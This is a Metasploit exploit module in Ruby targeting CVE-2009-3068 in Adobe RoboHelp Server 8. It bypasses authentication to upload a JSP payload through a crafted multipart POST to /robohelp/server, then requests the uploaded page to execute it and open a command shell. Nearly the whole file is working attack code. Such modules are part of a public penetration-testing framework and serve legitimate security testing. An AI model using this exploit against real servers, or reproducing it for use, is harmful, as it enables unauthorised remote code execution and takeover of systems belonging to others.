##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Adobe RoboHelp Server 8 Arbitrary File Upload and Execute',
      'Description'    => %q{
          This module exploits an authentication bypass vulnerability which
        allows remote attackers to upload and execute arbitrary code.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'Platform'       => 'win',
      'Privileged'     => true,
      'References'     =>
        [
          [ 'CVE', '2009-3068' ],
          [ 'OSVDB', '57896'],
          [ 'URL', 'http://www.intevydis.com/blog/?p=69' ],
          [ 'ZDI', '09-066' ],
        ],
      'Targets'        =>
        [
          [ 'Universal Windows Target',
            {
              'Arch'     => ARCH_JAVA,
              'Payload'  =>
                {
                  'DisableNops' => true,
                },
            }
          ],
        ],
      'DefaultOptions' =>
        {
          'SHELL' => 'cmd.exe'
        },
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2009-09-23'
    ))

    register_options( [ Opt::RPORT(8080) ])
  end

  def exploit

    page = Rex::Text.rand_text_alpha_upper(8) + ".jsp"
    uid  = rand(20).to_s

    file =  "-----------------------------#{uid}\r\n"
    file << "Content-Disposition: form-data; name=\"filename\"; filename=\"#{page}\"\r\n"
    file << "Content-Type: application/x-java-archive\r\n\r\n"
    file << payload.encoded
    file << "\r\n"

    print_status("Sending our POST request...")

    res = send_request_cgi(
      {
        'uri'		=> '/robohelp/server',
        'version'	=> '1.1',
        'method'	=> 'POST',
        'encode_params' => false,
        'data'		=> file,
        'headers'	=> {
          'Content-Type'		=> 'multipart/form-data; boundary=---------------------------' + uid,
          'UID'			=> uid,
        },
        'vars_get' => {
          'PUBLISH' => uid
        }
      }, 5)

    if ( res and res.message =~ /OK/ )
      id = res['sessionid'].to_s.strip

      print_status("Got sessionid of '#{id}'. Sending our second request to '#{page}'...")
      data = send_request_raw({
          'uri'		=> normalize_uri('robohelp', 'robo','reserved', 'web', id, page),
          'method'	=> 'GET',
          'version'	=> '1.0'
      }, 5)

      handler
    else
      print_error("No SESSIONID acquired...")
      return
    end
  end
end
